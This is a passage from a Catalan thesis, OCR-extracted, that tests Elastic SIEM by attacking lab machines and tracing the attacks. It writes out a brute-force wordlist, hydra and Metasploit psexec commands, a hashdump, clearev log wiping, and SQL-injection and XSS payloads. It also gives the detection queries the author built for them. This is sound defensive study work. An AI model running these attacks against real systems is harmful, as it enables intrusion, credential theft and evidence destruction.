a continuacio podem veure que ha realitzat un sudo per elevar els permisos a
root (Captura 111: Timeline d’accions 1) i també podem veure que ha editat el
fitxer /etc/hosts (Captura 112: Timeline d’accions 2). Si ens fixem en un dels

12 Aquesta IP s’assigna a I'equip que té allotjat el VMWare Workstation.
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esdeveniments, podem veure que ha saltat 'alarma de File Integrity, que indica
que I'arxiu s’ha modificat (Captura 113: Timeline d’accions 3).

metasploitable3-ubl404  authenticated v usrfbin/sudo

De nou, mitjancant Elastic SIEM hem pogut realitzar la tracabilitat de les accions
que s’han realitzat en aquesta intrusié: hem vist que s’ha realitzat un SQL
injection, s’ha accedit al servidor mitjangcant un usuari, aquest ha elevat els
permisos a root i ha modificat un arxiu de sistema. No obstant aixo, de nou no ha
aparegut cap signal ni cap alarma que ens pugui fer pensar que s’ha patit una
bretxa de seguretat.

Per tal de detectar aquest tipus d’atacs, podem afegir una regla a partir de la

seguent consulta (Captura 114: Creacio de la regla SQL-Injection):
url.query : *%27+OR+1%3D1* or url.query : *%27+0r+1%3D1*

D’aquesta manera, si s’intenta de nou realitzar aquesta accid, ens apareixera un
signal (Captura 115: Detecci6 del signal SQL-Injection).

5.2.6.2. Metasploitable 3: Windows 2008 R2

Per tal de realitzar una prova d’intrusio, un dels primers passos que es poden fer
és realitzar un analisi de ports per tal de poder obtenir informacié sobre els
diferents serveis que esta executant el servidor. Podem realitzar I'escaner de
ports amb la seglient comanda, on es guardara la sortida en un arxiu en format
xml (Captura 116: Nmap de Windows i Captura 117: Nmap de Windows 2):

nmap -sV -Pn -T4 -p 1-65535 -0X winmetasploitable3.xml 192.168.43.104

5.2.6.2.1. Forga bruta i exploit mitjancant psexec

Un dels serveis que ens ofereix la maquina virtual és el SSH, escoltant pel port
22. Per tal d’aconseguir les credencials, és possible realitzar un atac per forca
bruta. Per aixd hem creat un diccionari amb la segient informacié:

root

toor

msfadmin
password123
password12345
amin

@dm1ln
vagrant
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Seguidament, sabent que un dels usuaris que existeix a la maquina virtual
s’anomena vagrant, realitzarem un atac de forgca bruta a través de I'aplicacié
hydra. La comanda a executar sera la seguent (Captura 118: Obtencié de la
contrasenya per forga bruta):

hydra -I vagrant -P ssh_wordlist.txt 192.168.43.104 ssh

Un cop finalitzi 'execucid, podrem veure que la contrasenya de l'usuari vagrant
és vagrant. Un cop disposem d’aquesta informacid, el segient pas sera intentar
aconseguir permisos d’administrador de la maquina. Per fer-ho, utilitzarem un
exploit del Metasploit Framework Console, que, si es disposa d’un usuari i una
contrasenya valida, és possible aconseguir permisos d’administracié de I'entorn
mitjancant la utilitzacio del psexec (Captura 119: Exploit psexec). El psexec és
una utilitat que permet executar processos de manera remota. Seguirem els
seguents passos (Captura 120: Accés al meterpreter).

msfconsole

use exploit/windows/smb/psexec
set rhost 192.168.43.104

set SMBUser vagrant

set SMBPass vagrant

run

Un cop hem accedit al meterpreter, podem obtenir els usuaris i els hash de tots

els usuaris locals de I'entorn. (Captura 121: Hashdump) executant:
run post/windows/gather/hashdump

Seguidament, mitjancant la comanda clearev, podrem netejar el visor
d’esdeveniment de I'equip (Captura 122: Neteja del visor d'esdeveniments).

Amb aquest atac, haurem aconseguit obtenir accés al servidor amb un atac per
forca bruta al servei SSH, realitzar un dump?3 del SAM Databases que conté la
informacio de tots els usuaris i netejar el visor de successos per tal d’evitar
possibles traces.

A continuacio, realitzarem un seguiment d’aquesta intrusié des del mateix Elastic
SIEM. Si revisem les deteccions, podem veure que s’ha detectat un network
trojan mitjancant una alarma. Si ens fixem en la IP desti, podem veure que és la
192.168.43.104 (Captura 123: Alerta de network trojan). Si obrim aquest
esdeveniment, podem veure en el camp suricata.eve.alert.siganture ens apareix
la informacio que és possible que sigui un payload del Metasploit (Captura 124:
Signatura del Suricata).

13 Dump: procés que permet extreure i exportar informacio.
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External alerts

Si accedim a la informacié d’aquest host, podem veure que hi ha hagut molts
intents fallits d’accés amb l'usuari vagrant i, I'tltim accés acceptat, s’ha realitzat
des de la IP 192.168.43.142 (Captura 125: Intents fallits d’accés amb un usuari).

Authentications

Seguidament, si accedim als processos no comuns, podem veure que s’ha
executat el procés conhost.exe i un powershell (Captura 126: Processos no
comuns). Per tenir més detall daquesta informacid, si accedim als
esdeveniments d’aquest mateix host, podem veure més detall d’aquests
processos (Captura 127: Detall dels processos).

Filtrem per la franja horaria d’aquests esdeveniments i creem una timeline amb
la segUent query: host.name: winmetasploit3.mistic.lab and agent.type: packetbeat and not
destination.port: 9200 Podem detectar que s’han connectat al servei SSH d’aquest
servidor des de la IP 192.168.43.142 de fora de l'organitzacié. També aquest
servidor s’ha connectat mitjangcant el port 444 a la mateixa IP (Captura 128:
Connexions amb SSH al servidor i Captura 129: Connexions des del servidor).
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Si busquem més informacié proporcionada pel Suricata durant aquest periode
de temps filtrant per suricata.eve.alert.category: A Network Trojan was detected, podem trobar
més informacié de com s’ha realitzat aquest atac. Ens apareix: “ET POLICY
Powershell Command With Nonlinteractive Argument Over SMB - Likely Lateral
Movement”. Per tant, s’ha detectat que I'atac s’ha originat des del servei SMB
(Captura 130: Origen de I'atac servei SMB).

Si busquem I'esdeveniment event.code:1102, podem veure que també s’ha realitzat
una neteja del visor de successos (Captura 131: Neteja del visor
d'esdeveniments).

Durant aquesta intrusié, hem pogut seguir el fil de totes les accions que s’han
realitzat gracies a l'alerta que ha llencat el Suricata. Inicialment, s’ha detectat el
possible troia de la xarxa i, comencant la revisié en aquesta franja horaria, hem
pogut realitzar un seguiment de les accions realitzades. No obstant aixo, per
aconseguir aquesta tracabilitat ha estat necessari utilitzar tres Beats diferents:
WinlogBeat, AuditBeat i PacketBeat.

Per tal de detectar aquest tipus d’intrusid, una de les primeres senyals que
podem utilitzar és la del Trojan Network que ens indica el Suricata. Per tant,
podem realitzar una signal amb la seglent query: suricata.eve.alert.category: A Network
Trojan was detected (Captura 132: Regla de network trojan del Suricata).

La seguent signal que podem crear és la que correspon al procés powershell
executat, podem utilitzar la  seguent query:  process.hash.shal
"c044ad82d0b5fe92a4030fc6ee3d353b136a85fe".

Si de nou tornem a executar aquesta intrusidé, ens apareixeran les signals
creades (Captura 134: Signal hashdump i network trojan).

5.2.5.3. Web Security Dojo

Com s’ha comentat anteriorment, aquesta distribucié esta pensada per realitzar
proves d’intrusié web.

5.2.5.3.1. SQL Injection

Una de les principals vulnerabilitats que es poden trobar en una aplicacié web és
I'existéncia de formularis que permeten realitzar atacs de SQL Injection. La de
Owasp Juice Shop, que ens ofereix aquesta distribucio, no és una excepcio.
Provarem de realitzar una SQL Injection al formulari de login que podem
localitzar a la seguent url:

http://192.168.43.105:3008/#/login

Per realitzar aquest atac, introduirem els seguients valors, com es pot veure a la
Captura 135: SQL-Injection:

Email: ' or 1=1;--
Password: aaa
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http://192.168.43.105:3008/#/login

Un cop fem clic sobre login, podrem veure que hem pogut accedir a I'aplicacio
com a administrador (Captura 136: Login SQL-Injection).

Si analitzem aquest cas amb I'Elastic SIEM, podem veure que han aparegut dues
alertes al Suricata. No obstant aix0, aquestes alertes fan referéncia a accions
que realitza la mateixa web, no tenen a veure amb la intrusiéo (Captura 137:
Alertes del Suricata).

Com que és una aplicacié web, podem veure més detall de les transaccions que
es realitzen si accedim a 'apartat Network i ens dirigim a HTTP Requests. En
aguest apartat, podem veure que s’ha fet una crida al /rest/user/login (Captura
138: HTTP Requests).

Sirealitzem una timeline amb aquest camp, podem veure que apareix un registre
que proveé del mateix servidor (Captura 139: Registre APM 1) i, si entrem en més
detall, podem veure que aquesta informacié es troba a I'index de 'APM (Captura
140: Registre APM 2). Si continuem revisant els detalls, podem veure que en el
camp http.request.body.original apareix el valor “{"email":" or 1=1;--" "password":"aaa"}” (Captura
141: Registre APM ).

{"email":" or 1=1,—

http.re t.body.
@ hitp-equest body origia " "password":"aaa"}

(@ http.request headers.Accept application/json, text/plain, */*

Per tal de detectar aquesta intrusio, podriem pensar a crear una signal filtrant per
aguest valor. No obstant aix0, no és possible utilitzar aquest camp. Si afegim
aguest camp al timeline, tot i estar dins de la mateixa franja horaria, no ens
retorna cap valor, tal com podem veure a la Captura 142: No filtratge per camp.
Elastic SIEM. El motiu de no poder realitzar cerques per aquest camp, és que no
forma part de I'Elastic Common Schema.

5.2.5.3.2. Atac XSS

Una altra de les vulnerabilitats que es poden localitzar freqiientment a les webs,
és la realitzacié d’atacs de Cross-Site Scripting. Podem realitzar un atac XSS si

introduim el seglent text a la cerca de la pagina web (Captura 143: Atac XSS):
<iframe src="javascript:alert('xss’)">

Realitzem un seguiment d’aquest atac a I'Elastic SIEM i veiem que no ens
apareix cap alerta. Continuant amb el seguiment, si accedim de nou a Network i
revisem els Http Requests, tampoc detectem la sol-licitud. No obstant aixo, si
accedim a l'apartat ’APM d’Elastic, podem veure la transaccio pero no indica
quin és el valor que s’ha buscat: Captura 144: Informacié APM.

En aquest cas, Elastic SIEM no ens permet detectar, ni poder veure les accions
realitzades amb l'atac Cross-Site Scripting.
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5.2.7. Conclusions Escenari 1

Un cop realitzades les diferents proves amb aquest escenari i, havent adquirit
més coneixement sobre I'aplicacio, podem extreure’n les seglents conclusions:

» Elastic SIEM és molt atil per tal de detectar intrusions pel que fa a
sistemes: permet detectar comunicacions i, fins i tot, les comandes que
han fet possible la intrusi6. No obstant aix0, aquestes facilitats no
s’apliquen si parlem d’intrusions web.

» Elastic SIEM ens proporciona una interficie amigable per tal de realitzar
cerques i realitzar els seguiments dels diferents logs que s’han introduit
gracies als diferents Beats. D’aquesta manera, ha estat possible seguir
les diferents intrusions que s’han realitzat, podent veure les accions que
s’han efectuat.

» La majoria de les deteccions d’aquestes intrusions s’han hagut de realitzar
a posteriori de manera manual, ja que les regles que incorpora el mateix
Elastic SIEM son limitades i estan centrades a detectar casuistiques
puntuals del servidor. A causa de a la quantitat de dades que s’han
introduit, és complicat veure en temps real les intrusions efectuades. En
moltes ocasions s’ha pogut detectar gracies a la preséncia del Suricata
com a sistema d’IDS que, gracies a les seves regles, llanca alertes contra
I'Elastic SIEM.

» Lesregles de detecci6 es basen en la realitzacié de cerques dels diferents
indexs que s’han incorporat. No és possible realitzar correlacions
d’esdeveniments, aixo fa que permeti només la realitzacio de cerques pels
camps que apareixen a I'Elastic Common Schema.

» Tot i disposar de 'APM-Server, ha estat complicat poder realitzar el
seguiment de les intrusions web. A més, alguns camps que podien ser
Gtils per crear una regla, no ho han permes, ja que no es troben dins de
Elastic Common Schema.

5.3. Escenari 2: Cloud Amazon Web Service

Un cop hem vist el que ens ofereix Elastic SIEM en un entorn empresarial, el
segient pas sera veure que ens pot oferir a un entorn al cloud.

5.3.1. Obtencid de les dades

Com s’ha comentat en apartats anteriors, existeixen diferents origens on podem
localitzar els logs de I'aplicacio real utilitzada en aquest escenari. Part d’aquests
logs de I'aplicacié s’emmagatzemen a un bucket s34, a més, també hi ha dades
interessants sobre seguretat del compte d’AWS en el Cloudtrail®®.

14 Servei que s’'ofereix des d’AWS que permet lemmagatzematge d’objectes al Cloud.
15 Servei que s’ofereix des d’AWS que permet realitzar auditories de governanga, conformitat,
operativa i de risc del compte AWS.
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5.3.1.1. Logs d’aplicacio: S3

Un dels logs més importants per afegir a I'Elastic Serach, correspon als logs
d’accés a l'aplicacio. Per tal de poder emmagatzemar aquesta informacio, s’ha
de convertir en informacié estructurada. Per fer-ho, s'utilitzara el Logstasth i,
mitjancant el filtre grok, transformarem aquesta informacio.

Aquests logs com ja he comentat, s’emmagatzemen al Servei S3 d’Amazon. Una
de les caracteristiques d’aquest servei, tal com es pot veure a “Precios de
Amazon S3” de la seva propia web, és que el cost demmagatzematge és baix.
No obstant aix0, cada GET que es realitza sobre els diferents objectes es factura
a part. Per tal d’estalviar costos al client, he descarregat aquest logs directament
a I'ElasticSearch i he realitzat el seu processat localment. Com que aquestes
dades soOn reals, per tema de privacitat, he amagat algunes parts dels noms.

Per tal de poder descarregar aquests logs, he utilitzat el mateix client ’AWS i he
executat la segiient comanda:

aws s3 cp --recursive s3://<client>-logs/front/2020/ /dades/s3logs --profile <client>

Un cop ja disposem dels logs, el seguent pas sera configurar el Logstash
(Configuracié 1: Configuracio del Logstash) perqué processi aquesta informacio:

» Primer de tot, configuraré que la font de les dades sigui d’'un Beat que
escoltara pel port 5044.

» EIl seguent pas és configurar el filtre: sera I'encarregat de processar
cadascuna de les linies que li enviem i transformar-les en dades
estructurades. S'utilitzaran els filtres del grok i s’assignaran els diferents
camps segons I'Elastic Common Schema. A més, ho enriquiré amb la
informacié geografica de la IP que realitza la comunicacio.

» En ultim lloc, quedara indicar on volem que s’emmagatzemi la informacio,
gue sera a I'ElasticSearch.

Un cop ja tenim configurat el Logstash, el seguient pas sera configurar el FileBeat
per tal que pugui enviar el contingut dels diferents logs al Logstash. Com que no
és possible utilitzar un mateix FileBeat per diferents outputs, s’ha decidit
instal-lar-ne un de nou. Aquest s’ha configurat de manera que, com a output,
envii el contingut dels fitxers que llegeix al Logstash. Configuracio 2:
Configuracié del FileBeat AWS.

A partir d’aquest punt, el FileBeat recollira tots el logs que hi hagi a la carpeta
/dades/s3logs/logs/* , €ls enviara al Logstash i els incorporara a I'ElasticSearch amb

la data en qué van succeir (Captura 145: Incorporacié dels logs d’aplicacio a
I'Elasticsearch).

5.3.1.2. CloudTrail Logs

Uns altres logs que sén interessants de poder analitzar son els provinents del
CloudTrail.
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Per tal d’obtenir aquesta informacio, utilitzarem I'awsclit®. No obstant aixo, el
valor que obtenim, tot i ser un JSON, conté alguns valors que impedeixen que
es pugui processar. Per tal que la informacié descarregada sigui correcta,
utilitzarem la segiient comanda:

aws cloudtrail lookup-events --profile <perfil> --start-time "DD/MM/AAAA, HH:MM" --end-time "
DD/MM/AAAA, HH:MM" --query 'Events[].CloudTrailEvent' --output json | sed -e 's\\n//g' | sed -e 's\V/g' |
sed -e 's/"{/{/g' | sed -e 's/}"/}/g' | sed -e 's/ //g' > Eventsawscli.json

Per tal de poder processar i afegir aquests logs a I'ElasticSearch, sera necessari
realitzar una nova configuracié que permeti tractar els fitxers JSON. A mes,
s’aplicara un filtre que assigni a la @timestamp’el valor eventTime del fitxer
generat. Configuracié 3: CloudTrail Logstash.

Per tal d’enviar aquests nous logs al Logstash, s’haura d’ajustar la configuracié
del FileBeat perque accepti els logs en format JSON Configuracio 4: FileBeat
JSON.

D’aquesta manera, aconseguirem que la informacié del CloudTrail s’incorpori a
'ElasticSearch, permetent realitzar consultes sobre aquests valors. (Captura
146: Esdeveniment CloudTrail | i Captura 147: Esdeveniment Cloudtrail I1).

5.3.2. Analisi de dades

5.3.2.1. Logs d’aplicacio: S3

Aquestes dades corresponen a un entorn real de produccié, per tant, no sera
possible simular atacs. No obstant aix0, el passat dia 24 de marc es va detectar
que un tipus de consultes especifiques provocaven que el consum de recursos
de I'aplicacio es disparés. Per tal d’analitzar aquesta casuistica, he importat els
logs d’aquells dies.

La consulta que generava aquest comportament era:

/biz_photos/scrollable_photos/piZzhgc608I5RAIYWMBWtw,w2F5N4h26hOrz2KoxThomw, EbUZhM4fLpsW
Q8fpBhhgEQ,iVmS58gWggsBecrmH2adGkQ,8--
tWZ30ovFCwT9Fs5Mjvbw,aYIlvAqd6cnHX6AGKhjg5Q, QUh5VFHSUw8R_uiFZ7XKQ,g0-
1gRNvJHz3s4hSSJBisA,IB2u25TrT22WMwtgTXVmeQ,ubb9LazSValA2FQ9YIfiaA,gxNxT-
sk72z9ja6QNYnEHw

Si analitzem el logs que hem importat, podem veure que la consulta es va
realitzar a les 02:08. (Captura 148: GET consulta estranya). Si entrem en detall
en aguesta consulta, podem veure que es va realitzar un GET i va retornar un
codi 404, indicant que no existeix (Captura 149: Detall de la consulta).

16 Client que s'utilitza per interactuar d’'una manera senzilla amb 'API d’AWS. Permet administrar
mitjangant linia d’ordres els diferents serveis que s’ofereixen.

17 Camp de I'Elastic Common Schema que s'utilitza per informar la data i I'hora en qué ha
aparegut 'esdeveniment.
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Amb la informaci6 que ens proporciona I'esdeveniment, podem realitzar un filtre
amb la IP origen mitjangant un timeline source.ip: 40.xx.63. D’aquesta manera,
aconseguim tenir una tracabilitat de les diferents peticions que es van fer contra
la web (Captura 150: Filtre per IP) on podem veure que, moltes de les peticions
gue es van realitzar, van retornar un codi d’error 404. Si ajustem el timeline i li
afegim que el codi de resposta sigui diferent a 404: source.ip: 40.x.x.63 and not
http.response.status_code: 404 podem veure que aquesta IP no ha realitzat cap peticié
diferent (Captura 151: Consultes amb estat diferent a 404). Per tant, és altament
probable que fos algun tipus de bot intentant obtenir dades de la web.

pl L =) Mar 23, 2020 @ 15:23:27.00C /_layouts/15/blank.js 404
> ﬁ e} Mar /ess/btn.min.css 404
> i O [Mar 23,2020 @13 [is/capslock.js 404
> l;l =] Mar 23, 2020 @ lisfjeasyuifjquery.easyui.m.. 404
> J:l [e=] Mar 23,2020 @ 1 Iweb/css/lity.css 404
bl l?l (=] Aar 23,2020 @ /webjjs/validation.js 404
> | O [Mar 23, 2020 @ 11:24:04.00C Jwebfjs/common.js 404
> J'_r[ jom] Mar 23, 2020 @ [webjjs/jquery.hc-sticky.m 404
> n O liMar 23, 2020 @ 11:24:02.000 Iweb/fcss/jquery.treefilter.c.. 404
> J'_r[ =] Mar 23, 2020 @ /web/css/ranking.css 404
> iu O iMar 23 2020 @ 10-53:30.000 assetsfisihaseldetail minis 1404

Una altra manera de detectar anomalies amb aquestes dades, és utilitzant la
geolocalitzacié de les IPs. Aquesta informacié I’'hem obtinguda amb I'enriquiment
explicat en I'apartat anterior i necessitarem configurar I'aplicacié de mapes del
Kibana. Per tal de poder utilitzar aquesta funcionalitat, sera necessari crear
I'Index pattern (Captura 152: Index Pattern | i Captura 153: Index Pattern II) i
crear una capa a I'aplicacié de mapes amb el camp client.geo.location. (Captura 154:
Configuracio de la capa |, Captura 155: Configuracio de la capa Il i Captura 156:
Configuracio de la capa lll).

Si observem el mapa, podem veure que el principal lloc d’origen dels usuaris és

la peninsula Ibérica, part d’Europa i els Estats Units. No obstant aixo, hi ha
algunes connexions puntuals des de Russia o bé des de la Xina.
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Si observem una de les IP’s que ha accedit des de Russia (Captura 157: Accés
des de Rdussia), podem veure un intent d’accés a la ruta /wp-config.php.fatt-
debug-bak (Captura 158: Detall d’accés des de Russia). Aquesta ruta correspon
a un arxiu de configuracié d’'un WordPress. No obstant aixo, la web en glestio
no utilitza aquesta tecnologia, cosa que fa pensar en un possible intent malicios
per obtenir dades. Si al timeline li apliguem un filtre buscant url.path: *wp-config*,
podrem veure que des d’altres localitzacions també s’ha intentat accedir en
aguesta ruta (Captura 159: Intents accés *wp-config*).

Per tal de detectar aquests tipus de consultes, he realitzat una signal amb les
seglents consultes: url.path: *wp-config* (Captura 160: Signal wp-config) o bé: url.path:
Ibiz_photos/scrollable_photos/* (Captura 161: Signal consulta estranya).

5.3.2.2. Cloudtrail Logs

Com hem comentat anteriorment, aquests logs ens ofereixen informaci6é sobre
auditoria, conformitat i operativa. Aquesta informacié s'obté gracies a la
interaccié entre els diferents components i usuaris amb I'API que ofereix AWS.

Com es va comentar durant la planificacié dels diferents escenaris, les diferents
webs tenen format de contenidor i s’utilitza una plataforma de Kubernetes per
executar-los. Aquesta plataforma esta formada per tres servidors masters que
controlen el funcionament dels diferents workers. Per saber 'estat en qué es
troben els diferents components d’aquest servidors, utilitzen I'API d’AWS.
Analitzant un d’aquests esdeveniments, podem veure la segient informacio
(Captura 162: Detall d’esdeveniment d’instancia |, Captura 163: Detall
d’esdeveniment d’instancia Il, Captura 164: Detall d’esdeveniment d’instancia
[):

» Instancia que ha realitzat I'accid: useridentity.principalld

» Quin rol ha utilitzat: useridentity.sessionContext.sessionlssuer.arn

» Tipus d’accio que ha executat: eventName i userldentity.type.

» Sobre que ho ha executat: requestParameters filterSet.items

Un altre tipus d’informacié que podem obtenir d’aquests logs, son les acciones
que realitzen els diferents usuaris. En I'exemple seglent podem veure com
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l'usuari de monitoratge ha utilitzat 'API per saber I'estat d’una instancia. Els
camps destacats serien (Captura 165: Detall d’accié d’'usuari | i Captura 166:
Detall d’accié d’usuari Il):

> Usuari que realitza I'accio: userldentity.userName i userldentity.accessKeyld

> Tipus d’accié que ha executat: eventName

> Sobre qué ho ha executat: requestParameters.instancesSet.items

5.3.3. Conclusions de I'escenari 2

Com s’ha comentat anteriorment, I'objectiu d’aquest escenari era comprovar quée
ens pot oferir Elastic SIEM per la deteccié de problemes de seguretat en una
plataforma real al navol. En aquest cas, no ha estat possible realitzar cap mena
d’intrusié. No obstant aix0, ha estat possible detectar algunes anomalies
mitjangant els logs d’accés a I'aplicacio.

En aquest cas, com que no s’han pogut utilitzar els Beats propis de I'Elastic, la
importacido de les dades a I'ElasticSearch i el seu processat per tal de ser
analitzades mitjancant I'Elastic SIEM, ha estat més artesanal. He hagut de
processar aquests logs en text pla i, mitjancant diferents filtres, convertir-los en
dades estructurades, intentant assignar aquestes dades estructurades als camps
de I'Elastic Common Schema (ECS). Aquest procés s’ha realitzat gracies al
Logstash i al FileBeat.

Continuant amb els logs de l'aplicacio, també he pogut utilitzar I'aplicacié de
mapes del Kibana per tal de detectar, d'una manera visual, quina era la
localitzacio geografica de les consultes.

Pel que fa als logs de CloudTrail, he hagut de crear un nou index, ja que els
camps que apareixien no es podien enllagar a 'ECS del FileBeat. Una casuistica
especial d’aquest logs, €s que per poder ser analitzats mitjangant Elastic SIEM,
ha estat necessari que el nom de I'index comencés amb el nom: filebeat-*.

En aquest escenari, la possibilitat de detectar anomalies esta lligada directament
amb els tipus de logs que generen les aplicacions, aixi com la seva facilitat o
dificultat de processar-los per poder-los afegir a I'ElasticSearch.

5.4. Escenari 3: Machine Learning
54.1. Que és Machine Learning?

L’objectiu basic del Machine Learning és l'elaboracié de models que ens
permetin realitzar prediccions o deteccidé d’anomalies. Aquests models
s’entrenen'® gracies a algoritmes que s’apliquen sobre una quantitat molt
elevada de dades.

18 Concepte que s’utilitza en Machine Learning que consisteix a aplicar un algoritme sobre una
quantitat important de dades perqué “aprengui” quin és el comportament normal i detectar
d’aquesta manera els valors que es desvien d’aquest comportament apreés.
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Sovint aquest procés esta format per tres etapes:
» Obtenci6 de dades:

o Utilitzacié de diferents scripts encarregats d’obtenir informaci6 de
diferents fonts de dades. Per obtenir les dades, els productes
d’Elastic utilitzen els diferents Beats.

» Processament de les dades i visualitzacio:

o Utilitzacié de scripts per tal d’analitzar les dades obtingudes al punt
anterior i realitzar normalitzacions?® en les dades. L’Elastic Stack
ofereix 'ElasticSearch per '’emmagatzematge i el processament de
les dades i el Kibana per la seva visualitzacio.

» Creaci6 de models i analisi de resultats:

o Un cop ja es disposa de les dades normalitzades, es procedeix a
crear els models basats en algoritmes. Sol ser un procés ciclic: es
crea el model, s’entrena amb dades, es comprova amb dades reals
I s’apliquen modificacions per crear un model nou. A I'Elastic Stack
es poden crear aquests models en el Kibana.

Aplicant el Machine Learning en el context de seguretat, es podria:
» Detectar processos anomals:
= Noms i rutes estranyes.
» Arbres de processos anomals.
» Activitats anomales a la xarxa:
» Consultes DNS estranyes.
* Processos que no solen utilitzar xarxes.
» Comportaments estranys d’usuaris:
» Esdeveniments d’autenticacio.
= Execucio de processos que no son estandards.
» Patrons de dades poc comuns:
= Scripts amb ofuscacié.
= Nombre molt elevat de consultes DNS.

5.4.2. El modul de Machine Learning per Elastic SIEM

El modul de Machine Learning és un element comu en els diferents productes
que ofereix Elastic Stack. En versions anteriors a I'Elastic 7.5, permetia utilitzar
models no supervisats?®®. No obstant aix0, en les versions més recents és
possible comencar a treballar amb models supervisats?®.

El que busca Elastic integrant aquesta funcionalitat és permetre utilitzar aquesta
tecnologia als usuaris que no tenen coneixements previs de Machine Learning.
Un dels exemples pel que fa a I'Elastic SIEM, és que Elastic ofereix un seguit de

19 Procés destinat a convertir les dades planes en dades estructurades.

20 Tal com s’indica a “Tipos de aprendizaje en Machine Learning: supervisado y no supervisado”
(Recuero de los Santos, 2017): les dades que hi ha en aquest model no estan etiquetades, només
coneixem les dades d’entrada pero no sabem les dades de sortida. La funcionalitat €és de cercar
informacid.

21 Tal com s’indica a “Tipos de aprendizaje en Machine Learning: supervisado y no supervisado”
(Recuero de los Santos, 2017): hi ha les dades etiquetades, a les dades d’entrada se li pot
assignar una sortida. Té una funcio de prediccio.
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models ja creats que es poden aplicar en aquest context, alguns d’ells els veurem
en els seguents punts. Actualment, aquests models encara es troben en fase
beta.

El modul de Machine Learning és una de les funcionalitats que no s’inclouen de
manera gratuita a I'Elastic Stack, per poder utilitzar-lo és necessari disposar
d’una subscripcié “Platino” o “Enterprise”. No obstant aix0, és possible activar
una llicencia de proves per tal de poder-lo utilitzar temporalment.

Per tal d’activar aquesta llicéncia de proves, ens connectarem a l'aplicaci6 i ens
dirigirem a l'apartat de management. Seguidament, fem clic sobre Licence
Management (Captura 167: Finestra management). Un cop a la finestra, farem
clic sobre “Start Trial” (Captura 168: License management). A partir d’aquest
punt, ja tindrem les noves funcionalitats activades (Captura 169: Llicencia activa).

El seglient pas que s’haura de realitzar per tal d’habilitar aquesta funcionalitat,
és crear els Index Patterns. Per tant, accediré a la finestra management en
aquest subapartat (Captura 170: Finestra d’Index Patterns). Seguidament, faré
clic sobre “Create Index pattern” i li indicaré el nom dels diferents indexs
(auditbeat-*, winlogbeat-*, packetbeat-*) (Captura 171: Creacio d’Index Pattern
). Si fem clic sobre Next Step, ens demanara que indiquem un TimeFilterName
on li indicarem @timestamp (Captura 172: Creacio d’Index Pattern Il).

5.4.3. Deteccié d’anomalies amb Machine Learning.

Un cop ja tenim la llicéncia activada i els Index Patterns creats, si accedim a
I'aplicacié d’Elastic SIEM i fem clic sobre “Anomaly Detection”, ens apareixeran
els diferents models pre-creats que ens ofereix I'Elastic SIEM (Captura 173:
Models pre-creats).

Un dels models pre-creats que disposem és 'anomenat
rare_process_by host_linux_ecs, que intenta localitzar processos que no és
frequent que s’executin en servidors Linux. Si apliguem aquest model sobre les
dades que hem generat en I'entorn empresarial en I'escenari 1 a I'ElasticSearch,
podem veure que s’han detectat algunes anomalies (Captura 174: Model
rare_process_by host_linux_ecs I [ Captura 175: Model
rare_process_by host_linux_ecs IlI). En aquest cas, s’han detectat els
processos docker-runc i systemd-shutdown entre d’altres. No obstant aixo, a
simple vista, cap d’aquestes anomalies sembla un problema de seguretat. Per
tant, estariem parlant de falsos positius. El problema d’aquest model és que
detecta com a anomalia qualsevol programa que s’executi de manera
esporadica.

Severity threshold Interval

warning Auto ~

time severity |- detector found for influenced by

host.name: elasticstack.mistic.lab

> May 8th 2020 " rare process executions on Linux systemd-shutdow process.name: systemd-shutdow
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Una altra informacié que ens apareix en aquesta finestra és el “Max Anomaly
Score” que és la suma de totes les puntuacions dels diferents processos en la
franja horaria indicada (Captura 176: Max anomaly detecion).

Un altre model que podem aplicar és el windows_anomalous_user_name_ecs,
aquest model busca accions d’usuaris que normalment no estan actius. Com
podem veure a la captura, s’han detectat diferents accions de l'usuari sshd-
server (Captura 177: windows_anomalous_user_name_ecs). De la mateixa
manera que en el model anterior, en aquest cas es detecten falsos positius si hi
ha usuaris que normalment no realitzen cap accio.

54.4. Conclusions de I'escenari 3

La utilitzacié del modul de Machine Learning per tal de detectar anomalies pot
arribar a ser molt Gtil per tal de detectar patrons que a simple vista no es veuen.
No obstant aix0, en les diferents proves que he realitzat en el laboratori, aquest
comportament no s’ha vist reflectit. Com he indicat anteriorment, la utilitzacié del
Machine Learning es basa en el fet d’entrenar diferents algoritmes per detectar
la informacio desitjada aplicant-los a grans quantitats d’informacio recollides en
periodes prologats. En aquest cas, com que els diferents entorns tan sols han
estat operatius durant la realitzaci6 de les diferents proves, les mostres
analitzades son limitades. Per tant, I'algoritme no ha tingut suficient informacié
per analitzar, donant en consequéncia molts falsos positius.

Per altre banda, s’ha realitzat una cerca de possibles anomalies en la franja
horaria, que es van realitzar les intrusions, i no es mostra cap resultat (Captura
178: No detecta anomalies).

Anomalies
Severity threshold Interval
warning v Auto ~
time severity detector found for influenced by

host.name: misticad.mistic.lab

> April 18th 2020, 12:00 26 j‘,yed:'ncssg executions en auditbeat.exe process.name: auditbeat.exe
Windews

user.name: SYSTEM
host.name: misticad.mistic.lab

C:\Program
Files\auditbeat\auditoeat.exe

> April 18th 2020, 12:00 24 rare by "process.executable’ process.name: auditbeat.exe
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Un dels inconvenients d’aquest modul és que, a diferéncia dels Beats i els
diferents components d’ElasticSearch, necessites disposar d’'un subscripcié més
cara per poder-lo utilitzar. Aixo fa que el cost del producte sigui elevat per les
PIME’s.

6. Analisi de Resultats

6.1. Conclusions generals

A continuacié s’indicaran les conclusions generals després d’haver realitzat els
diferents analisis:

> Elastic SIEM és un bon punt de partida per I'objectiu que persegueix
Elastic de poder consolidar-se en el mon de la seguretat informatica.
Gracies a un potent motor d’indexaci6é (ElasticSearch), els diferents
recol-lectors de dades (Beats), una interficie forca intuitiva (Kibana) i
licenciament OpenSource, permet que aquest producte sigui una bona
opci6 perque les empreses puguin disposar d’'un SIEM. No obstant aixo,
la dedicacié necessaria per obtenir un entorn operatiu amb alertes
funcionals és elevada.

> La utilitzacié dels diferents Beats fa que el procés d’ingesta de dades sigui
senzill. Tan sols realitzant unes configuracions especifiques als diferents
components, s’inicialitzara el procés i es podra comencar a analitzar les
dades. Una caracteristica de gran utilitat és la utilitzacié de I'Elastic
Common Schema de manera nativa. Fer que els camps s’anomenin de la
mateixa manera, facilita la possibilitat de realitzar cerques. Per altra
banda, si la informaci6 que es vol obtenir prové de fonts no suportades de
forma nativa pels Beats, s’ha d'utilitzar el Logstash. En aquest cas, el
procés de normalitzacié esdevé més costés: per una banda, s’ha d’utilitzar
el grok per tal d’identificar els diferents valors i, després, s’ha de relacionar
cada camp amb I'esquema de camps unics.

